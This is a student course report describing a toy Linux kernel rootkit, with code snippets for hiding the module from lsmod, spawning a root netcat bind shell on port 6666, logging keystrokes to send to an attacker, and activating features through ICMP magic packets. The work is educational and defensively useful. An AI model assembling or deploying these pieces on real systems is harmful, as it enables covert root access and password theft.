Keylogger/Backdoor Rootkit

Winter Term 2015/16

Applied Information Security

Clemens Brunner
Michael Fröwis

January 18, 2016

Contents

1 Introduction **3**
1.1 Kernel Modules 3

2 Implementation **5**
2.1 Hiding 5
2.2 Backdoor 6
2.3 Keylogging 7
2.4 Networking and Activation 7
2.4.1 ICMP Packages 8
2.4.2 UPD Sockets 9

3 Usage **10**
3.1 Rootkit 10
3.2 Client 10

4 Conclusion **11**
4.1 Possible Improvements 11

1 Introduction

This work aims at developing a toy Linux kernel rootkit with basic keylogging and backdoor capabilities. A *rootkit* is usually a piece of malicious software designed to give an attacker some kind of privileged access (root) to a system while masking its existence on the system. We choose two very basic but popular privileged tasks for a rootkit to implement. The first creates a simple *backdoor*, that means every attacker can span a shell, with root access, on demand and connect to it without any knowledge of user or root credentials. That means the attacker has full control over the infected machine. The second task we implemented is a keylogger that sends every keystroke to the attacker. Such a keylogger gives the attacker the possibility to steal passwords, account information and therefore the identity of the attacked user.

In the remaining part of this section we want to give a basic introduction into kernel modules and why we used them. In Section 2 we talk about the actual implementation of the features in detail. Section 3 sketches the usage in a brief fashion. After that, in Section 4 we give a brief summary and conclusion.

1.1 Kernel Modules

Almost every modern operating system has some sort of kernel extension mechanism. Without such a mechanism everything that has to run in kernel mode has to be included into the kernel binary. This would not only be a massive wast of space, but would also require to rebuild the entire kernel every time we need new functionality. The aim of a kernel extension mechanism is to extend the kernel without rebuilding the kernel or even rebooting it.

Different operating systems have different names for such extensions as for example kernel-mode driver (Windows), kernel extension (OS X) or loadable kernel module (Linux). Because we develop a Linux rootkit we use the term kernel module in the following.

A kernel module in its simplest form is nothing more than a piece of code, usually written in the C programming language that can be loaded into kernel space at runtime. It has a setup and a exit function which are called if the module is loaded or unloaded. Listing 1 gives an example of a very simple kernel module. The only thing it does it logs "Hello world" to the system log when loaded and "Goodby world" when unloaded.

```c
/*
 *  hello-1.c - The simplest kernel module.
 */
#include <linux/module.h>       /* Needed by all modules */
#include <linux/kernel.h>       /* Needed for KERN_INFO */

int init_module(void)
{
        printk(KERN_INFO "Hello world 1.\n");

        /*
         * A non 0 return means init_module failed; module can't
             be loaded.
         */
        return 0;
}

void cleanup_module(void)
{
        printk(KERN_INFO "Goodbye world 1.\n");
}

module_init(init_module);
module_exit(cleanup_module);
```

Listing 1: Source: `http://www.tldp.org/LDP/lkmpg/2.6/html/x121.html`.

All the code inside a kernel module is run in the context of the kernel and therefore it can do anything possible on your computer, without any protection. That means even something as small as a single bad pointer could possibly wipe your hard drive. Another difference that has to be mentioned is that you don't use the usual C standard lib but code that is exported by the kernel itself.

In the implementation section we will use a kernel module to implement our rootkit, because we want to have full control over the compromised system.

2 Implementation

2.1 Hiding

As already mention in the introduction a rootkit should mask its existence as good as possible to prevent the detection of the possibly malicious operations. Although a kernel module is not visible as a process on the system it can be easily revealed via the `lsmod` command, which lists all currently loaded kernel modules. To prevent our module from the most obvious way of detection we want to hide it from `lsmod`.

This sounds hard at first but it is rather easy. We can use the special exported symbol `extern struct module __this_module;` which points to the module we are currently in. The module structure, see Listing 2, has a field `list` that points to the list of all modules.

```
struct module {
        enum module_state state;

        /* Member of list of modules */
        struct list_head list;

        /* Unique handle for this module */
        char name[MODULE_NAME_LEN];

        .
        .
        .

        // skipped for brevity
}
```

Listing 2: Extract from Linux/include/linux/module.h

That means to hide the module from detection we only need to delete it from the list of modules and we are done. Luckily the kernel provides us with handy list manipulation functions. Finally our effort boils down to one line of code as you can see in Listing 3.

```
list_del(&(__this_module.list));
```

Listing 3: Hide the current module.

2.2 Backdoor

The dream of every attacker is a backdoor into every system he is interested in. As we have already compromised the system in our scenario and have gained root access (installation of the rootkit) the task of spawning a backdoor to gain access to the system any time we want is rather easy. What we also wanted to achieve is that the backdoor is not active all the time but can be activated whenever needed. Again magic packets, as described in 2.4 are used to activate the backdoor. The backdoor itself is achieved by simply spawning a `netcat -l -p 6666 -e /bin/sh` process in userland. This is done via the `call_usermodehelper` function. Listing 4 shows the spawning function.

```
void shell_tasklet_fn(unsigned long data){
                static char *envp[] = {
                "HOME=/",
                "TERM=linux",
                "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
        char *argv3[] = {"/bin/sh", "-c", "/bin/netcat -l -p
            6666 -e /bin/sh &", NULL};
        call_usermodehelper(argv3[0], argv3, envp, UMH_NO_WAIT);

}
```

Listing 4: Span netcat in userland.

The hard part was not the creation of the process itself but doing it inside of an interrupt handler (reception of magic packet). Many functions can not be called safely (long running functions and so on) inside the context of an interrupt. Because of that we used the tasklet API to defer the execution of `call_usermodehelper` to a save point in time into the kernel context. Listing 5 shows the usage of the tasklet API to start the `shell_tasklet_fn` in a deferred and safe manner.

```
DECLARE_TASKLET(shell_tasklet, shell_tasklet_fn, 0);

void start_remote_shell(void){
        tasklet_schedule( &shell_tasklet );
}
```

Listing 5: Tasklet API.

2.3 Keylogging

This section deals with keylogging in the linux kernel. Keylogging describes the process of intercepting all input-keys, this includes also all passwords, usernames or bank account informations assuming the user entered this information, from a keyboard. Our rootkit intercepts all keys and sends them to the attacker. To make it harder to detect the rootkit with the keylogging function it is possible to activate and deactivate it with magic packets, see 2.4.
The linux kernel already provides a method to intercept all keys, to use this implementation it is necessary to include the keyboard header and define a new struct notifier_block keyboard_notifier, see Listing 6.

```
#include <linux/keyboard.h>

static struct notifier_block keyboard_notifier = {
  .notifier_call = keyboard_hook
};

int keyboard_hook(struct notifier_block *, unsigned long code,
    void *);
```

Listing 6: Keyboard header.

The keyboard notifier stores the keyboard_hook method which will be called on each key press. This function gets a keyboard keycode as input, to filter out the associated character we use two arrays with the mapping for the American keyboard layout. The first one is the mapping without SHIFT and the second is with SHIFT pressed. To inform the linux kernel to add or remove our notifier to the notification list for any keyboard event, we have to register or unregister the keyboard notifier, see Listing 7. We do that when the kernel module is loaded or unloaded.

```
register_keyboard_notifier(&keyboard_notifier);
unregister_keyboard_notifier(&keyboard_notifier);
```

Listing 7: Register Keyboard

2.4 Networking and Activation

In the best case our rootkit should run without being detected and without leaving any traces on the attacked system. To do so we don't log keystrokes to file but send them over the network. We used so called magic packets

for the activation and deactivation of a service. A magic packet should be a packet which is hard to detect or in other words a packet that is not easily distinguishable from normal packets. Our magic packets are normal ping request with the anomaly that the icmp header field id is equal to the icmp code field. If we intercept a magic packet we compare the code with our predefined de/activation codes.
Communication-wise two different types of packets are used.

- ICMP Packets (for the activation packets)
- UDP Sockets (sending keystrokes)

2.4.1 ICMP Packets

Magic packets can activate(deactivate) the keylogger, hide(unhide) the rootkit module or open a backdoor shell with root access. The following values are used for code and id to assign the desired functionality.

122: KEYLOGGER_ACTIVATION_CODE

123: KEYLOGGER_DEACTIVATION_CODE

124: HIDEMODULE_ACTIVATION_CODE

125: HIDEMODULE_DEACTIVATION_CODE

126: BACKDOOR_ACTIVATION_CODE

To intercept the packets a new netfilter_hook is added with the netfilter library, see Listing 8.

```
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops netfilter_hook;


netfilter_hook.hook = (nf_hookfn*) filter_magic_packets;
netfilter_hook.hooknum = 0;
netfilter_hook.pf = PF_INET;
netfilter_hook.priority = 1;

nf_register_hook(&netfilter_hook);
```

```
nf_register_hook(&netfilter_hook);
```

Listing 8: Netfilter Hook

The netfilter hook catches all IP packets. To get ping packets only the icmp packets are unpacked form the IP messages. For the evaluation only packets with the already defined properties are used (id==code).

2.4.2 UPD Sockets

To send the keys to the attacker UPD datagram packets are used.

3 Usage

This section describes how to setup the rootkit and how to use the client application.

3.1 Rootkit

The rootkit can be build via `make`. To install it execute `insmod rootkit.ko` as root user.

3.2 Client

The to start one of the possible operation on our infected system use

```
rootkit_client.py -[a,d] <feature-key> -h <host>
```

Three different features can be controlled via the feature-keys *key* (keylogger), *hide* (hide the kernel module) and *root* (backdoor/root access). To activate a feature use the option `-a` and `-d` to deactivate a feature. The root feature is the only feature that has no deactivation because it can be easily be done via the shell itself. The root feature only starts the backdoor on a certain host. To connect to it use the usual suspects e.g. nc <host> 6666.

4 Conclusion

With some basic knowledge of the linux kernel, Google and some time it is possible to develop a simple rootkit for linux. Backdoor and keylogging is also rather trivial if you don't spend to much effort handling error situations or edge cases. The same goes for hiding. But if you want a bullet proof solution that works in every situation, on every machine and does not reveal itself you gonna have a hard time.

4.1 Possible Improvements

As in every project there is room for improvements for example:

We only prevent the rootkit detection via `lsmod` and equivalent commands but there are other methods to detect rootkits e.g. network activity, changes in the system call table and so on. The implementation of the backdoor should be improved. It needs a specific version of `netcat` (-e option) to be installed. The invocation of the userland `netcat` process from the kernel is not very reliable and needs to be revisited. And the worst part is that the new netcat process is visible to every user and needs to be hidden.